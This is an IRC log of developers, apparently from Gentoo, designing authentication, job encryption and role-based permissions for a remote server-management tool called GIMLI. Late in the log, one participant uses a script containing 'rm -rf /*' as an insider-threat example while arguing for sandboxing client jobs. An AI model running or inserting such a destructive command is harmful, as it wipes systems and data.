+Mar 18 23:05:10 blackace	ssh master key, clients are given a public key, they connect to the server and say hey, I'm me...the server ssh's to the client and if it succeeds says "ok, I gave you that pubkey"...this can be done two ways so they mutually agree on their identities
+Mar 18 23:05:12 agaffney	that would involve tunnels
+Mar 18 23:05:39 code|work	if you thought the client got comprimized you could just revoke the cert and they'd be isolated
+Mar 18 23:05:47 blackace	ssl is probably the way to go, but it's a pita to generate certs
+Mar 18 23:05:57 agaffney	code|work: why do we even need to revoke a cert? you could just lock out the client through other means
+Mar 18 23:06:10 code|work	quite true
+Mar 18 23:06:20 *	blackace notes the trust goes the other direction
+Mar 18 23:06:35 blackace	clients trust the server, not necessarily the other way around
+Mar 18 23:06:41 agaffney	it should probably go both ways
+Mar 18 23:06:49 agaffney	but definitely the former
+Mar 18 23:06:52 blackace	yeah, but the important part is client->server
+Mar 18 23:06:53 code|work	blackace: what concerns me about the SSH keys is that they help you login to the machine.. SSL certs wouldn't do that
+Mar 18 23:06:56 blackace	exactlt
+Mar 18 23:07:13 agaffney	code|work: SSH keys != host fingerprint
+Mar 18 23:07:52 code|work	what's the difference then between SSH keys and GPG keys?
+Mar 18 23:08:13 blackace	not much, just that admins will generally know more about ssh than gpg
+Mar 18 23:08:13 agaffney	code|work: you're thinking about keys for user identification
+Mar 18 23:08:30 agaffney	we'd just want to use the host identification key
+Mar 18 23:08:40 blackace	agaffney: gpg can be used for machine id as well, it's just not designed that way...at all :P
+Mar 18 23:08:40 agaffney	the thing ssh checks when it connects to a server
+Mar 18 23:09:24 code|work	agaffney: so what would happen if the gimli server had to be reinstalled and the key was changed.
+Mar 18 23:09:33 code|work	you'd have to go out to each client and fix it, right?
+Mar 18 23:09:43 agaffney	or restore the old key
+Mar 18 23:09:49 agaffney	the same thing would happen with just plain ssh
+Mar 18 23:09:57 agaffney	if you had a bunch of people SSHing to a machine
+Mar 18 23:10:08 code|work	but that might not happen w/ certs, right?
+Mar 18 23:10:16 agaffney	and it's host key changed, everyone's clients would start warning them about a man in the middle attack
+Mar 18 23:10:20 blackace	no, certs would be the same way
+Mar 18 23:10:25 agaffney	code|work: same thing
+Mar 18 23:10:27 code|work	oh, ok
+Mar 18 23:10:33 agaffney	you'd either generate a new one or restore the old one
+Mar 18 23:10:36 blackace	there's no way around the problem of the master losing it's cert or key
+Mar 18 23:10:46 code|work	well i think the ssh keys works then for host identification
+Mar 18 23:10:56 code|work	how exactly would that work code-wise tho?
+Mar 18 23:11:03 agaffney	code|work: of course, that brings ssh in as a dep
+Mar 18 23:11:12 agaffney	although, that's present on most servers
+Mar 18 23:11:15 blackace	isn't ssh in system?
+Mar 18 23:11:15 agaffney	it'd be silly not to have it
+Mar 18 23:11:19 code|work	just do a trial connection and then if that works disconnect and try the XMLRPC server?
+Mar 18 23:11:24 agaffney	blackace: for x86 and possible amd64
+Mar 18 23:11:34 agaffney	code|work: bleh, no
+Mar 18 23:11:35 blackace	agaffney: ppc as well
+Mar 18 23:11:53 code|work	agaffney: i'm very satisfied with having ssh as a dependency
+Mar 18 23:12:06 agaffney	code|work: yeah, I didn't have a real problem with it
+Mar 18 23:12:10 agaffney	just throwing it out on the table
+Mar 18 23:12:11 code|work	since then we can include it as a base protocol for job transfer if need be
+Mar 18 23:12:42 blackace	see, this is one of the reasons why using http would be good...it already supports everything we need
+Mar 18 23:12:55 blackace	we can do tls
+Mar 18 23:13:54 agaffney	http makes it less flexible for auth
+Mar 18 23:13:57 code|work	blackace: read the queuing system stuff in the doc.  everyone i've talked to about this says that the XMLRPC server is the way to go
+Mar 18 23:14:02 agaffney	with xmlrpc, we can do it however we want
+Mar 18 23:14:24 blackace	agaffney: right, like reinventing the wheel....some more?
+Mar 18 23:14:32 agaffney	indeed!
+Mar 18 23:14:32 blackace	code|work: I don't have openoffice.
+Mar 18 23:14:58 code|work	well that's not good
+Mar 18 23:15:15 blackace	yes it is
+Mar 18 23:15:23 *	blackace dislikes java bloat
+Mar 18 23:16:52 agaffney	it can be compiled without anything java
+Mar 18 23:17:11 code|work	i've got creating/editing/deleting of roles working in my mockup
+Mar 18 23:17:28 blackace	ok, good for it, I'm not compiling it on my 1.4GHz pentium-m laptop right now :P
+Mar 18 23:17:56 code|work	openoffice-bin
+Mar 18 23:18:00 blackace	so, can we talk about _why_ xmlrpc is the shiznit for this?
+Mar 18 23:18:15 code|work	because it's designed to be flexible, which is EXACTLY what we want
+Mar 18 23:18:23 blackace	...
+Mar 18 23:18:27 blackace	flexible != exact
+Mar 18 23:18:36 code|work	it's designed to transfer data
+Mar 18 23:18:57 agaffney	...
+Mar 18 23:19:04 code|work	i don't like the idea of being limited by HTTP
+Mar 18 23:19:20 blackace	no, it's designed to be an IP socket replacement to connect pieces of one app written in different languages
+Mar 18 23:19:24 agaffney	blackace: because xmlrpc allows us to easily use different languages for different modules
+Mar 18 23:19:34 blackace	agaffney: what modules?
+Mar 18 23:19:41 code|work	any module
+Mar 18 23:19:43 blackace	agaffney: we're talking client app, and server app
+Mar 18 23:19:50 agaffney	frontend/backend for one
+Mar 18 23:19:57 blackace	can you guys start being way more specific for me?
+Mar 18 23:20:13 *	agaffney enjoys being vague
+Mar 18 23:21:44 code|work	blackace: i still can't see what you have against the XMLRPC
+Mar 18 23:21:47 blackace	vague doesn't explain why you see things so differently from how I do
+Mar 18 23:21:54 agaffney	blackace: basically, xmlrpc makes it easier to handle the requests
+Mar 18 23:22:00 code|work	blackace: a good example btw is polling and responding to polls
+Mar 18 23:22:21 agaffney	and that makes things easier on us
+Mar 18 23:22:30 blackace	code|work: I have nothing against xmlrpc specifically, I dislike the fact that it forces us to reinvent the wheel for almost everything we need to do with it.
+Mar 18 23:22:56 agaffney	the xmlrpc server also allows for "easy" persistence
+Mar 18 23:22:59 blackace	this isn't for an ongoing connection
+Mar 18 23:23:02 code|work	the thing's practically already all written, it's all in gliserv.py
+Mar 18 23:23:13 blackace	we don't want the xmlrpc session up all the time
+Mar 18 23:23:21 blackace	it's not designed for what we're doing
+Mar 18 23:23:23 code|work	blackace: he's talking abuot the server daemon persistance
+Mar 18 23:23:36 agaffney	right, server-side data persistence
+Mar 18 23:23:41 blackace	code|work: and I'm talking about connection persistence
+Mar 18 23:23:52 agaffney	and I'm not, so it doesn't matter
+Mar 18 23:23:54 code|work	blackace: well then http timeouts could be a bitch
+Mar 18 23:24:02 blackace	timeouts during what?
+Mar 18 23:24:13 blackace	wtf are we going to be sitting doing nothing with a connection open?
+Mar 18 23:24:18 code|work	transfer of large jobs (when the job includes the data)
+Mar 18 23:24:29 blackace	timeouts are idle time...
+Mar 18 23:24:37 blackace	if data is flowing...no timeouts
+Mar 18 23:24:52 blackace	think of what the client is doing as an emerge sync...
+Mar 18 23:25:00 code|work	eh. not gonna argue that one
+Mar 18 23:25:01 blackace	it's getting info on what's available
+Mar 18 23:25:07 agaffney	there aren't going to be any persistent client->server connections
+Mar 18 23:25:26 blackace	and yet persistent client->server connections is what xmlrpc is designed to do
+Mar 18 23:25:43 blackace	we need something more transactional to be honest
+Mar 18 23:25:47 agaffney	xmlrpc is over http
+Mar 18 23:25:55 agaffney	http isn't supposed to be used persistently
+Mar 18 23:25:59 blackace	the server is supposed to be in a passive role from a connection standpoint
+Mar 18 23:26:23 blackace	the client is just getting info from the server...no interactivity is required past authentication
+Mar 18 23:26:28 agaffney	from what I can tell with the xmlrpclib in python, it only connects when it sends a request
+Mar 18 23:26:32 agaffney	and then disconnects
+Mar 18 23:26:51 code|work	agaffney: what happens after it registers?
+Mar 18 23:27:07 code|work	something gets stored server-side to say it connected before?
+Mar 18 23:27:18 agaffney	that's not currently handled
+Mar 18 23:27:37 code|work	how does it work in gliserv?
+Mar 18 23:28:00 agaffney	with the current stuff (which will all get scrapped eventually), the client passes along its MAC to identify itself
+Mar 18 23:28:14 agaffney	and gliserv has a list of MACs that have "identified"
+Mar 18 23:28:17 agaffney	it's clunky
+Mar 18 23:28:33 blackace	why is the client identifying itself to the server?  shouldn't that be the other way around?
+Mar 18 23:29:28 blackace	ok
+Mar 18 23:29:32 code|work	blackace: i see it as equally important both ways
+Mar 18 23:29:57 code|work	dude i just started the admin stuff
+Mar 18 23:30:00 code|work	that's it
+Mar 18 23:30:21 blackace	ah, I thought you were trying to show me something to answer my question :)
+Mar 18 23:30:32 code|work	no
+Mar 18 23:30:42 blackace	ok ok, sorry :)
+Mar 18 23:30:57 code|work	unless your question was "does that checkbox in the delete role screen not kick ass?"
+Mar 18 23:31:28 blackace	ah, no, but the bright fucking red table that makes my eyes bleed does :P
+Mar 18 23:31:47 *	blackace blinks tears
+Mar 18 23:31:55 code|work	thats as "are you sure" as i get
+Mar 18 23:32:33 code|work	ok can we please agree on XMLRPC for now and move on with the connection process here?
+Mar 18 23:32:50 code|work	blackace: if it doesn't work out, you have permission to beat us
+Mar 18 23:32:54 *	blackace still hasn't heard why it's necessary
+Mar 18 23:33:10 blackace	gah
+Mar 18 23:33:20 blackace	it's a pull-based system
+Mar 18 23:33:27 code|work	no
+Mar 18 23:33:39 code|work	pulls occur, but responses are also sent
+Mar 18 23:33:42 blackace	...we agreed on it being pull-based a long time ago
+Mar 18 23:33:56 blackace	code|work: ...you're joking right?
+Mar 18 23:34:15 code|work	and because we await replies on "did i get this?", xmlrpc is good.
+Mar 18 23:35:22 code|work	it is pull-based the way youre talking about it.. but it's not just pull and the server assumes all goes well.
+Mar 18 23:36:05 blackace	course not, but feedback like that can be accomplished by pull as well...and we don't have to reinvent the ssl/tls wheel
+Mar 18 23:36:22 code|work	whoever said we had to do tat?
+Mar 18 23:36:44 blackace	SecureXMLRPC?
+Mar 18 23:37:01 code|work	already written
+Mar 18 23:37:07 code|work	samyron wrote it
+Mar 18 23:37:09 blackace	a reinvented wheel
+Mar 18 23:37:11 code|work	for python
+ar 18 23:37:21 blackace	untested, unaudited, new
+Mar 18 23:37:32 code|work	it's tested.  it's used by gliserv
+Mar 18 23:37:40 agaffney	it is tested, it uses python's SocketServer and OpenSSL modules
+Mar 18 23:37:47 agaffney	it just ties them together
+Mar 18 23:38:01 agaffney	so it's only as unaudited as python itself
+Mar 18 23:38:26 blackace	so by extension, the random python script on the forums is tested and audited as well eh?
+Mar 18 23:38:43 *	agaffney rolls his eyes
+Mar 18 23:38:59 code|work	fine
+Mar 18 23:39:00 *	blackace writes a python script that recursively unlinks files starting at /, but hey, it's been audited, it's as secure as python...
+Mar 18 23:39:08 *	blackace rolls his eyes
+Mar 18 23:39:28 code|work	if you really are gonna continue fighting this lets jsut change entire topics and talk about the user management
+Mar 18 23:39:57 blackace	s/fighting/trying to discourage working harder not smarter/
+Mar 18 23:40:14 blackace	code|work: what users are we talking about?
+Mar 18 23:40:21 code|work	blackace: read the doc
+Mar 18 23:40:28 blackace	code|work: ...
+Mar 18 23:40:32 code|work	i can post it in a different format if you like
+Mar 18 23:40:36 blackace	that would help
+Mar 18 23:40:42 code|work	.rtf?
+Mar 18 23:40:47 blackace	sure
+Mar 18 23:41:35 agaffney	http://rafb.net/paste/results/p5jaCm96.html
+Mar 18 23:41:46 agaffney	blackace: that's the important part of SecureXMLRPCServer
+Mar 18 23:42:09 codeman	http://dev.gentoo.org/~codeman/GIMLI/requirements.rtf
+Mar 18 23:42:09 agaffney	nothing custom or magic
+Mar 18 23:42:36 agaffney	just initializing the pyopenssl stuff
+Mar 18 23:42:39 *	blackace mumbles also no error checking
+Mar 18 23:42:59 agaffney	the error checking is in glisev
+Mar 18 23:43:01 agaffney	rv
+Mar 18 23:43:09 agaffney	if there's an exception, it falls back to the non-SSL
+Mar 18 23:44:37 *	codeman gets a soda while blackace reads :)
+Mar 18 23:45:15 *	agaffney waits for the oven to preheat
+Mar 18 23:45:22 codeman	i really want you guys to pick this doc apart
+Mar 18 23:45:31 codeman	so that it ends up being solid
+Mar 18 23:45:41 codeman	and that makes it a lot easier to code
+Mar 18 23:45:49 blackace	code|work: first thing that hits me reading about roles, what if my admins are in groups like db, frontend, workstation, or one set of admins should only be able to 'update' one system?  would I have to create update_system1, update_system2, update_system3, update_db, update_frontend, etc. roles?
+Mar 18 23:46:34 codeman	hrm
+Mar 18 23:46:35 blackace	ie. user->role->machine doesn't make sense, whereas user+role->machine/machine group/role does
+Mar 18 23:47:48 codeman	sounds like a good idea to me
+Mar 18 23:48:06 blackace	or maybe instead of roles have a more freeform tags concept, so that you can tag users and machines, and specify roles that have to match combinations (filter if you would) of tags between user and machine before an action is allowed
+Mar 18 23:48:33 codeman	well yeah
+Mar 18 23:48:47 codeman	the "role" on the client end is abstract
+Mar 18 23:49:00 codeman	it's basically defining the permissions with which the job has to run
+Mar 18 23:49:38 codeman	so like the "update" role may only have the ability to run "emerge -u world" on certain systems, but i guess that doesn't mean it could do other things on other clients... or is that bad to have it be ambigous?
+Mar 18 23:49:58 blackace	hmm
+Mar 18 23:50:02 codeman	or i guess
+Mar 18 23:50:28 codeman	the "db" role could do everything on the database server and very little, maybe updates only, on the other servers.
+Mar 18 23:51:31 blackace	well, it seems permissions would be more machine oriented vs. user right?
+Mar 18 23:51:51 codeman	which permissions/
+Mar 18 23:53:04 codeman	i think i like your way better
+Mar 18 23:53:19 codeman	of having more or less set defined roles as to what they can do
+Mar 18 23:53:41 codeman	and then assigning users as well as roles to clients ... and separately users to roles.
+Mar 18 23:53:57 codeman	... and roles to clients.
+Mar 18 23:54:14 blackace	so, allow grouping machines and cascading permissions, so I create a 'db' machine group and add machines to it...then I add an "update" job to the 'db' machine group and specify groups of users and individual users who can run it?
+Mar 18 23:54:36 blackace	ie. work from the machines out instead of users out?
+Mar 18 23:54:59 blackace	s/machines/clients/ in everything I just said :)
+Mar 18 23:55:31 codeman	in your logic then, users wouldn't have to belong to roles
+Mar 18 23:56:05 codeman	it would just be roles->machines and then users->machines  and if the user is assigned to the machine then they can do any of the things the roles assigned to that machine can do?
+Mar 18 23:56:10 blackace	mmm, no I guess not...they would more be granted permissions
+Mar 18 23:56:31 blackace	I guess I'm saying groups of users where you're saying role?
+Mar 18 23:56:40 codeman	yes
+Mar 18 23:56:55 codeman	and permissions also meaning role
+Mar 18 23:57:16 blackace	eh, I'm not lumping permissions and groups together though
+Mar 18 23:57:22 codeman	you have two separate things i was doing with one "role"
+Mar 18 23:57:54 blackace	right, because I don't think any user with the db role should be able to do any job with the db role
+Mar 18 23:58:13 blackace	I'm thinking more unix permissions
+Mar 18 23:58:42 codeman	why would you assign a client the db role unless you wanted people who could do db role things to be able to do those things on that client?
+Mar 18 23:58:43 blackace	users, groups, files that are set excutable for a user or group or others
+Mar 18 23:58:59 blackace	I wouldn't
+Mar 18 23:59:05 blackace	group != role
+Mar 18 23:59:13 blackace	role == permission
+Mar 18 23:59:40 codeman	agaffney: any thoughts here?
+Mar 19 00:00:14 blackace	so, if an individual client or a group of clients has an "update" job, and the "update" job lists me or my user group (or role) as being able to use it, then I can, otherwise, I can't
+Mar 19 00:00:57 blackace	think mysql grant table
+Mar 19 00:00:57 codeman	well the grouping of clients is already in the design
+Mar 19 00:01:11 codeman	tho not multiple groups per client
+Mar 19 00:01:19 codeman	dunno how well that would work
+Mar 19 00:01:29 blackace	GRANT PERMISSION update ON * TO admins;
+Mar 19 00:01:42 blackace	GRANT PERMISSION update ON db.* TO db_admins;
+Mar 19 00:02:06 blackace	REVOKE PERMISSION update ON db.* FROM BenUrban;
+Mar 19 00:02:19 BenUrban	...
+Mar 19 00:02:22 BenUrban	do you mind?
+Mar 19 00:02:29 blackace	aww, was just an example :P
+Mar 19 00:02:43 blackace	it's another BenUrban, yeah, that's it :P
+Mar 19 00:02:59 BenUrban	suuure
+Mar 19 00:03:03 code|work	lol
+Mar 19 00:03:39 blackace	anyways, you see what I mean?  don't you think permissions should be pretty granular?
+Mar 19 00:04:38 codeman	yes
+Mar 19 00:05:09 blackace	I'm not saying we should mimic mysql grant tables outright, but being able to grant a privilege to a group and deny it to one or two members of that group or vice versa would be pretty nice
+Mar 19 00:05:25 codeman	i have been agreeing with you for 20 minutes.. i'm just trying to figure out how i can implement it in the grand scheme
+Mar 19 00:05:45 blackace	yeah, that's the hard part...thinking it is easy :)
+Mar 19 00:06:04 *	blackace is still waiting for the telekinetic programming helmet
+Mar 19 00:06:25 codeman	blackace: one of the things i had been talking about earlier was for the second stage of authentication being encrypting the XML job with a GPG key of the "role"
+Mar 19 00:07:09 codeman	kindof like <job> <role>update</role><jobdata>@$&%&PGB@)$BR)$^U@$)*@^$</jobdata></job>
+Mar 19 00:07:24 blackace	hmm, that's a thought...you wouldn't even really need a first stage that way either...who cares if a client or an imposter grabbed it, they wouldn't be able to do anything with it
+Mar 19 00:07:33 codeman	so that only clients with that role could decrypt the message
+Mar 19 00:08:03 codeman	blackace: it's two-level security.. an absolute *minimum* in this type of system
+Mar 19 00:08:28 blackace	codeman: for what purpose?  what is being protected?
+Mar 19 00:08:39 codeman	you should see this prog bcoca pointed me to earlier in the week.. guy was using passwordless root SSH keys for everything
+Mar 19 00:08:56 *	blackace isn't saying we should do that :P
+Mar 19 00:09:17 codeman	blackace: the job data will include what needs to be done
+Mar 19 00:09:26 codeman	if it is a script, it may include the script itself
+Mar 19 00:09:37 codeman	if it is a small config file, it may contain the config file itself
+Mar 19 00:09:47 *	blackace wonders what the advantage is of both authenticating and decrypting when those two steps are accomplished in one during a normal gpg exchange
+Mar 19 00:10:11 codeman	because it's extra-secure :)
+Mar 19 00:10:16 blackace	the fact that the client can decrypt the job is proof of it's legitimacy
+Mar 19 00:10:33 blackace	see, you're saying why without really saying why again
+Mar 19 00:10:44 codeman	it's proof it has the role, but not proof that the job came from the GIMLI server
+Mar 19 00:11:01 codeman	two different things we are verifying
+Mar 19 00:11:22 blackace	ok, so you meant two-way or bidirectional when you said two-stage
+Mar 19 00:11:42 codeman	um, i guess
+Mar 19 00:11:53 codeman	i'm not very term-savvy
+Mar 19 00:12:36 *	codeman wishes agaffney would stop cooking food for his fat ass and join the discussion :P (just kidding)
+Mar 19 00:12:56 blackace	ok, so the client being able to decrypt the job provides both security via encryption and authentication of the client to the server, and the host key fingerprint would provide authentication from the server to the client
+Mar 19 00:14:26 codeman	wouldn't it also make sense to store the fingerprint of the clients on the server?
+Mar 19 00:16:15 blackace	sense maybe but it isn't strictly necessary, it doesn't provide any additional security
+Mar 19 00:17:12 blackace	it's like two squirts of ketchup instead of one, you'll have more, but it won't taste different
+Mar 19 00:17:37 BenUrban	yes it will
+Mar 19 00:18:23 blackace	how?
+Mar 19 00:18:32 codeman	blackace: ok move on in the doc while i edit the previous part up a bit
+Mar 19 00:19:55 blackace	codeman: on 4. lets think about adding a checking mechanism in the server so it can be configured to alert the admin if a client or client(s) don't connect for X period of time, nagios-like
+Mar 19 00:20:47 codeman	stored in the database?
+Mar 19 00:21:33 codeman	so the server would store LAST_UPDATED or whatever when the client connects?
+Mar 19 00:21:37 blackace	uhm, well a timestamp would need to be kept or the last log entry would need to be looked up to determine when a client last requested job data
+Mar 19 00:21:45 blackace	right
+Mar 19 00:21:47 codeman	or perhaps just have something look at the queues and see if anythings way overdue
+Mar 19 00:21:56 blackace	or both, yeah
+Mar 19 00:22:38 codeman	but we're also making the connection interval configurable
+Mar 19 00:22:54 blackace	but the admin should know what interval he configured what clients to use to request job data, so it should be easy for him to configure alerts...so if a machine disappears, gets disconnected, has a network hardware issue, etc. he can know about it
+Mar 19 00:23:02 *	blackace assumed that :)
+Mar 19 00:23:07 codeman	also nagios-like we should be able to say "i'm turning the gimli client off on these machines, don't yell at me."
+Mar 19 00:23:15 blackace	yeah, absolutely
+Mar 19 00:23:40 codeman	this almost sounds like it'd work better as a nagios plugin
+Mar 19 00:23:43 blackace	with a reason for other users to see why X dismissed Y alert..."bad nic, replacement coming in monday"
+Mar 19 00:23:58 blackace	well...we did talk about integrating nagios didn't we?
+Mar 19 00:24:12 codeman	eh
+Mar 19 00:24:15 codeman	somewhat
+Mar 19 00:24:21 blackace	anyone this serious about server management is going to dig nagios
+Mar 19 00:24:31 codeman	we talked about gimli being able to export it's client-information in a format nagios would understand
+Mar 19 00:24:54 codeman	but that doesn't really constitute "integration"
+Mar 19 00:24:55 blackace	so we could include the request intervals in there and write a nagios plugin right?
+Mar 19 00:25:15 codeman	how would the plugin work?
+Mar 19 00:25:23 codeman	it'd need to poll something
+Mar 19 00:25:44 codeman	it can see "oh i have extra files in the queue"
+Mar 19 00:25:48 codeman	but that isn't a bad thing
+Mar 19 00:25:58 codeman	s/files/jobs
+Mar 19 00:26:55 blackace	hmm
+Mar 19 00:27:05 codeman	because you can schedule jobs for the future
+Mar 19 00:28:10 blackace	yeah, it would need to just be a simple "client X missed request interval Y on date Z"
+Mar 19 00:28:29 blackace	so maybe that isn't something we should integrate with nagios at all
+Mar 19 00:29:04 blackace	it's really more to diagnose a gimli client issue vs. a host up check which is how nagios would treat it
+Mar 19 00:29:42 codeman	true
+Mar 19 00:30:08 codeman	if we really really wanted to we could do it w/ nagios
+Mar 19 00:30:41 codeman	hell we could have a missed-interval make a file somewhere that nagios would see
+Mar 19 00:30:51 codeman	but that's an ugly hack.
+Mar 19 00:31:23 codeman	it's probably better to keep it out of nagios
+Mar 19 00:31:54 codeman	since while the client may not have run correctly, it may be up and running normally
+Mar 19 00:32:01 codeman	s/it/the client
+Mar 19 00:32:15 codeman	and if it isn't, then nagios will be bitching regardless
+Mar 19 00:32:29 blackace	yeah
+Mar 19 00:32:46 codeman	and in that case the gimli client program is the least of your problems
+Mar 19 00:33:37 blackace	ok, so not something for nagios, but a convenience feature we can mark 'later'
+Mar 19 00:34:01 codeman	i'll make brian write that.. he loves nagios
+Mar 19 00:34:41 blackace	haha
+Mar 19 00:34:54 codeman	ok so clarify something for me here
+Mar 19 00:36:05 codeman	the client will accept any job that comes in with the correct role (because it can decrypt it), without checking the user, because it's assumed that the GIMLI server will have already checked the user and not allowed someone who doesn't have access to that client to make the job.
+Mar 19 00:36:30 blackace	hmm
+Mar 19 00:36:30 codeman	does that make sense?
+Mar 19 00:37:13 codeman	it seems simpler to have the client not care about users
+Mar 19 00:37:15 blackace	well, yeah, because otherwise every client would have to have keys for every possible user server-side so that it could use a userkey+rolekey combo to decrypt jobs
+Mar 19 00:37:21 blackace	yeah
+Mar 19 00:37:22 codeman	exactly
+Mar 19 00:37:32 codeman	that was the whole point of doing the role thing
+Mar 19 00:37:49 codeman	so that the user changing wouldn't mean sending out the keys to everybody
+Mar 19 00:38:04 codeman	ok. cool.
+Mar 19 00:38:08 codeman	i think i can code that :)
+Mar 19 00:38:50 blackace	yeah, although I'm not sure about restricting job encryption to role keys...what if one user is granted one privilege outside of any established role?  wouldn't it be easier to use per client keys?
+Mar 19 00:40:05 blackace	and what if one client performs multiple roles, ie. both db and frontend...you'd want both db and frontend people to be able to do stuff, but how would the client know which key to use to decrypt jobs with?
+Mar 19 00:40:37 blackace	and even if we establish a selection process, what do we do when new roles are created?  how do we distribute keys everywhere?
+Mar 19 00:40:37 codeman	blackace: the role the job was encrypted with
+Mar 19 00:40:53 codeman	blackace: i layed this out in the doc i think
+Mar 19 00:41:11 codeman	the root role is initially set up when the client is set up
+Mar 19 00:41:39 blackace	eh, this is getting into having way too many keys
+Mar 19 00:41:42 codeman	when you assign a role to a client it gets sent as a job from the root role
+Mar 19 00:42:05 blackace	I don't see any benefit to it either?
+Mar 19 00:43:48 codeman	hrm.  let me think on this issue overnight
+Mar 19 00:44:17 blackace	the user the gimli server runs as is the only user (physical linux user) who can encrypt things with the "root" key for a specific client (ie. one root key per client)...so any job would have to either go through the gimli server, or your gimli server has been sploited
+Mar 19 00:44:26 blackace	ok
+Mar 19 00:44:42 blackace	it's after midnight there right?
+Mar 19 00:44:55 codeman	yes
+Mar 19 00:45:17 codeman	blackace: yes.. that is quite true
+Mar 19 00:45:17 blackace	it's only quarter to ten here, just getting warmed up, sorry about that :P
+Mar 19 00:46:19 codeman	blackace: the roles part defines the access that the job has though
+Mar 19 00:46:54 codeman	you want someone with the "update" role not to be able to execute a script that does rm -rf
+Mar 19 00:47:06 codeman	this can be done in many ways on the client
+Mar 19 00:47:39 codeman	but this is not something i've thought out well
+Mar 19 00:47:55 codeman	specifically *HOW* to define the limits and enforce them.. this will be a large issue i think.
+Mar 19 00:47:58 blackace	hmm...that sounds like a permissions nightmare on the client...creating a user per role to drop permissions to in order to run a job
+Mar 19 00:48:29 blackace	yeah...I don't have a simple solution for that
+Mar 19 00:48:41 blackace	I don't even think there _is_ a simple solution for that :)
+Mar 19 00:48:50 agaffney	bleh, that's a lot of scrollback
+Mar 19 00:48:52 *	codeman pokes the no-longer-idle agaffney
+Mar 19 00:49:15 *	codeman gives agaffney 3 min to catch up while he takes out his contacts.
+Mar 19 00:49:26 agaffney	meh, I'm too lazy to read :P
+Mar 19 00:49:54 blackace	we're talking either posix perms (huge nightmare of users, groups, and file permissions), or creating our own sandbox to execute scripts and other actions in so we can enforce an access control policy
+Mar 19 00:50:25 *	blackace likes neither :)
+Mar 19 00:50:54 *	agaffney neither
+Mar 19 00:51:07 agaffney	who needs permissions? :P
+Mar 19 00:51:33 blackace	a sandbox would be the better of the two, but it would have to be really simple...a defined set of commands that we can validate arguments to so we can ensure nothing nasty or unpermitted takes place, which limits what can be done with it
+Mar 19 00:52:28 blackace	ugh, this is something I hadn't even began to think about
+Mar 19 00:54:56 agaffney	we really only need permissions in the web interface
+Mar 19 00:55:34 agaffney	it makes sense to enforce permissions when adding/removing jobs/events
+Mar 19 00:55:35 blackace	and then run everything as root on the client
+Mar 19 00:55:44 blackace	then how do we handle script?
+Mar 19 00:55:50 blackace	s/script/scripts/
+Mar 19 00:55:59 agaffney	what do you mean?
+Mar 19 00:56:16 agaffney	if you don't trust someone to not do something stupid with a custom script, don't give them the rights to add one
+Mar 19 00:56:34 agaffney	we can't protect people from themselves
+Mar 19 00:56:56 blackace	I write a little script called "checkfiles.sh" and ask it be run on all the frontend webservers...in that script I maliciously place an 'rm -rf /*' because I'm getting layed off tomorrow...presto
+Mar 19 00:57:27 agaffney	we can't (or at least shouldn't) protect against that
+Mar 19 00:57:38 agaffney	that's not our place
+Mar 19 00:57:40 blackace	well, if we don't allow custom scripts for just about everything, then we have to predefine a huge and comprehensive set of actions...which we can't do cross platform.
+Mar 19 00:57:53 agaffney	it's the place of the admin to remove the access of people who are getting fired before something like that happens
+Mar 19 00:58:27 agaffney	or at least to disallow running custom scripts for that person before they're notified they're being terminated
+Mar 19 00:58:45 agaffney	a "sandbox" is too much of a pita
+Mar 19 00:58:47 codeman	oo, how about this
+Mar 19 00:58:53 agaffney	and a bit pointless
+Mar 19 00:59:00 codeman	have predefined role/scripts
+Mar 19 00:59:10 codeman	or role-certified scripts
+Mar 19 00:59:24 codeman	we had that for php stuff at psu
+Mar 19 00:59:26 blackace	oh god, you're not going to say role-admin are you?
+Mar 19 00:59:32 codeman	no
+Mar 19 00:59:50 blackace	so who approves or certifies scripts?
+Mar 19 01:00:11 agaffney	this just seems like over-engineering
+Mar 19 01:00:11 blackace	and do we allow users to submit them? queue them? manage all of that?
+Mar 19 01:00:24 blackace	I agree with agaffney on that point
+Mar 19 01:00:42 blackace	but not on the don't-do-anything-to-prevent-nasty-stuff point
+Mar 19 01:00:42 codeman	as complex as it is, i think it'd end up being a LOT simpler than what you're proposing
+Mar 19 01:00:48 agaffney	this is a bit beyond what we should care about
+Mar 19 01:01:00 agaffney	blackace: it's the admin's job to prevent nasty stuff
+Mar 19 01:01:11 codeman	agaffney: i disagree with you
+Mar 19 01:01:26 codeman	we must have permissions
+Mar 19 01:01:35 agaffney	I didn't say that
+Mar 19 01:01:39 blackace	and we're giving the admin a tool to allow other people to be admins...a tool he can't be expected to fully understand
+Mar 19 01:01:50 blackace	or s/can/won/ anyways
+Mar 19 01:01:58 agaffney	blackace: and if you fuck up with a tool you didn't bother to fully understand, it's your own damn fault
+Mar 19 01:02:31 blackace	agaffney: so what do you propose?
+Mar 19 01:02:35 codeman	ok let me explain what i meant earlier by predefined scripts
+Mar 19 01:03:13 codeman	say i have the "update" role.. i click the "update this client" button in gimli.. it sends a predefined script to the client that does emerge -u world.
+Mar 19 01:03:26 agaffney	blackace: pre-defined "rights" (run custom script, add package, upgrade package, overwrite file, add new file, etc.)
+Mar 19 01:03:40 agaffney	blackace: enforce those rights in the frontend
+Mar 19 01:03:41 blackace	agaffney: and how do you accomplish this cross-platform?
+Mar 19 01:03:43 codeman	since i don't have anything besides the "update" role, gimli shouldn't let me send any other job to the client
+Mar 19 01:04:09 agaffney	blackace: cross-platform?
+Mar 19 01:04:13 codeman	agaffney: s/rights/roles :)
+Mar 19 01:04:26 blackace	agaffney: hey, codeman made a big deal out of not putting gentoo in the name
+Mar 19 01:04:27 agaffney	roles is a stupid word :P
+Mar 19 01:04:43 codeman	so is gaffney
+Mar 19 01:04:45 blackace	yeah, can't we just use "groups"?  we're linux users for god's sake
+Mar 19 01:05:18 codeman	mmm
+Mar 19 01:05:21 agaffney	blackace: well, you may want to grant a user a specific right that's not allowed by the "group" he's in
+Mar 19 01:05:30 blackace	not windows 2003 "server" edition schmucks who have a "ROLE" in life, in the bathroom, in bed, in meetings...
+Mar 19 01:05:33 agaffney	so it makes more sense to grant rights per-user
+Mar 19 01:05:55 blackace	no, it makes sense to allow combinations
+Mar 19 01:06:07 agaffney	well, that's what I meant
+Mar 19 01:06:16 agaffney	to have the ability to add more rights than what's allowed by the "group"
+Mar 19 01:06:17 blackace	like mysql grant tables :)
+Mar 19 01:06:21 blackace	yeah
+Mar 19 01:06:32 blackace	or take some away
+Mar 19 01:06:40 agaffney	that too
+Mar 19 01:07:19 blackace	joe is an idiot, but he got hired into the db admins group...lets take away his update privilege, he'll rice the shit out of our servers until they look great but don't run
